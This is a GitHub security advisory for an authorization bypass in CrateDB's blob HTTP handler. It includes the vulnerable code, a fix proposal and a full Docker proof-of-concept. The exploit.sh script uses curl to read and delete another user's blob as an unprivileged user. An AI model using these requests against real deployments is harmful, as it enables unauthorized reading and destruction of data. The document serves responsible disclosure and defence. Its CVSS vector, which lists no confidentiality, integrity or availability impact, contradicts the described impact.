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CrateDB's Blob HTTP handler bypasses authorization

Low severity GitHub Reviewed Published May 27, 2026 in crate/crate • Updated Jul 1, 2026

Package

maven io.crate:crate (Maven)

Affected versions

< 6.2.8
>= 6.3.0, < 6.3.2

Patched versions

6.2.8
6.3.2

Description

Component: io.crate.protocols.http.HttpBlobHandler
Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)
Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.


Summary

CrateDB has two ways to access blob storage: SQL (SELECT ... FROM blob.<table> and friends) and the blob HTTP API (GET|PUT|DELETE /_blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret_blobs fails for a user who has no grants on the table.

The HTTP path authenticates the request but never asks AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET /_blobs/secret_blobs/<digest>.

Where it lives

server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:

// HttpBlobHandler.java:176
private void handleBlobRequest(@Nullable HttpContent content) throws IOException {
    if (possibleRedirect(index, digest)) {
        return;
    }

    if (method.equals(HttpMethod.GET)) {
        get(index, digest);
        reset();
    } else if (method.equals(HttpMethod.HEAD)) {
        head(index, digest);
    } else if (method.equals(HttpMethod.PUT)) {
        put(content, index, digest);
    } else if (method.equals(HttpMethod.DELETE)) {
        delete(index, digest);
    } else {
        simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);
    }
}

No AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:

// HttpBlobHandler.java:287
private void get(String index, final String digest) throws IOException {
    if (range != null) {
        partialContentResponse(index, digest);
    } else {
        fullContentResponse(index, digest);
    }
}

grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java returns nothing.

The APIs that should be called here, used by the SQL path before every statement is dispatched:

  • server/src/main/java/io/crate/auth/AccessControl.java (interface, declares ensureMayExecute(...) and ensureMaySee(...))
  • server/src/main/java/io/crate/auth/AccessControlImpl.java:133 (concrete impl)

Threat model

Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. HEAD /_blobs/<table>/<digest> is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.

Capability Needs digest? Impact
Read or delete a blob yes High when digests leak, nil otherwise
Plant new blobs (PUT) no Storage pollution; SHA-1 check blocks forging under a victim's digest

Digest secrecy is not a documented security boundary.

Reproduction

End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.

./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:

  1. Admin uploads a blob via PUT /_blobs/.... Success (201).
  2. Admin reads via SQL. Success.
  3. Unprivileged user reads via SQL. Denied (correct, this is what we want).
  4. Unprivileged user reads via GET /_blobs/.... 200 OK plus the blob payload (the bug).
  5. Unprivileged user deletes via DELETE /_blobs/.... 204 No Content (the bug, again).
  6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.

Sample output from a real run:

=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===
[PASS] Unprivileged user correctly denied SQL access
[INFO] Server response: ERROR:  Schema 'blob' unknown ...

=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===
[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS
[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin

=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===
[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS

PoC files

docker-compose.yml
services:
  cratedb:
    image: crate:6.2.7
    ports:
      - "4200:4200"
      - "5432:5432"
    command: >
      crate
      -Cnetwork.host=0.0.0.0
      -Cdiscovery.type=single-node
      -Cauth.host_based.enabled=true
      -Cauth.host_based.config.0.user=crate
      -Cauth.host_based.config.0.method=trust
      -Cauth.host_based.config.99.method=password
      -Cblobs.path=/data/blobs
    environment:
      - CRATE_HEAP_SIZE=512m
    healthcheck:
      test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"]
      interval: 5s
      timeout: 5s
      retries: 12

HBA rule 0 trusts the built-in crate superuser so setup.sql can bootstrap users; rule 99 forces password auth for everyone else. network.host=0.0.0.0 overrides the default _site_ bind, which fails when Docker's interfaces have no site-local address.

setup.sql
-- Create the blob table
CREATE BLOB TABLE secret_blobs;

-- Create admin user with full access
CREATE USER admin WITH (password = 'adminpass');
GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;

-- Create unprivileged user with NO access to the blob table
CREATE USER unprivileged WITH (password = 'unpriv123');
-- Intentionally no GRANT for unprivileged user
exploit.sh
#!/usr/bin/env bash
set -euo pipefail

CRATE_HTTP="http://localhost:4200"
BLOB_TABLE="secret_blobs"
BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; }
pass()   { printf "${GREEN}[PASS]${NC} %s\n" "$1"; }
fail()   { printf "${RED}[FAIL]${NC} %s\n" "$1"; }
info()   { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }

sql_as() {
    local user="$1" pass="$2" query="$3"
    PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1
}

# ---------------------------------------------------------------------------
header "Step 1: Upload a blob as admin via HTTP"
# ---------------------------------------------------------------------------
DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}')
info "Blob SHA1 digest: $DIGEST"

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -u admin:adminpass \
    -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \
    -d "$BLOB_CONTENT")

if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then
    pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)"
else
    fail "Admin blob upload returned HTTP $HTTP_CODE"
    exit 1
fi

# ---------------------------------------------------------------------------
header "Step 2: Admin CAN read blob metadata via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1")
if [[ -n "$RESULT" ]]; then
    pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT"
else
    fail "Admin SQL query returned no results"
fi

# ---------------------------------------------------------------------------
header "Step 3: Unprivileged user CANNOT read via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true)
if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then
    pass "Unprivileged user correctly denied SQL access"
    info "Server response: $(echo "$RESULT" | head -1)"
else
    fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT"
fi

# ---------------------------------------------------------------------------
header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \
    -u unprivileged:unpriv123 \
    "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")

BODY=$(cat /tmp/blob_out)

if [[ "$HTTP_CODE" == "200" ]]; then
    fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
    info "Retrieved content: ${BODY}"
else
    pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)"
fi

# ---------------------------------------------------------------------------
header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -u unprivileged:unpriv123 \
    -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")

if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then
    fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
else
    pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)"
fi

# ---------------------------------------------------------------------------
header "Step 6: Confirm blob is gone (admin perspective)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'")
if [[ "$RESULT" == "0" ]]; then
    fail "Blob confirmed deleted -- unprivileged user destroyed admin's data"
else
    info "Blob still exists (count=$RESULT)"
fi
run.sh
#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }

# Pick whichever Compose CLI is available (docker compose v2 vs legacy
# docker-compose binary). Both are common in the wild.
if docker compose version >/dev/null 2>&1; then
    DC=(docker compose)
elif command -v docker-compose >/dev/null 2>&1; then
    DC=(docker-compose)
else
    echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2
    exit 2
fi

cleanup() {
    info "Stopping containers..."
    "${DC[@]}" down -v 2>/dev/null || true
}
trap cleanup EXIT

info "Starting CrateDB with authentication enabled..."
"${DC[@]}" up -d

info "Waiting for CrateDB to become healthy..."
for i in $(seq 1 60); do
    if curl -sf http://localhost:4200/ > /dev/null 2>&1; then
        break
    fi
    sleep 1
done

# Verify CrateDB is actually ready for SQL connections
for i in $(seq 1 30); do
    if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then
        break
    fi
    sleep 1
done

info "Running setup SQL as superuser (crate)..."
PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql

# Give CrateDB a moment to propagate user/privilege changes
sleep 2

info "Running exploit..."
echo ""
bash exploit.sh

Fixing

Plumb AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.

HTTP verb SQL equivalent Required privilege on blob.<table>
GET / HEAD SELECT DQL
PUT INSERT / UPDATE DML
DELETE DELETE DML

Alternatives I'd avoid: pushing checks down into BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).

Notes

Deployments that don't use BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.

References

@seut seut published to crate/crate May 27, 2026
Published to the GitHub Advisory Database Jul 1, 2026
Reviewed Jul 1, 2026
Last updated Jul 1, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

EPSS score

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-49989

GHSA ID

GHSA-2xv8-gjwh-fv8p

Source code

Credits

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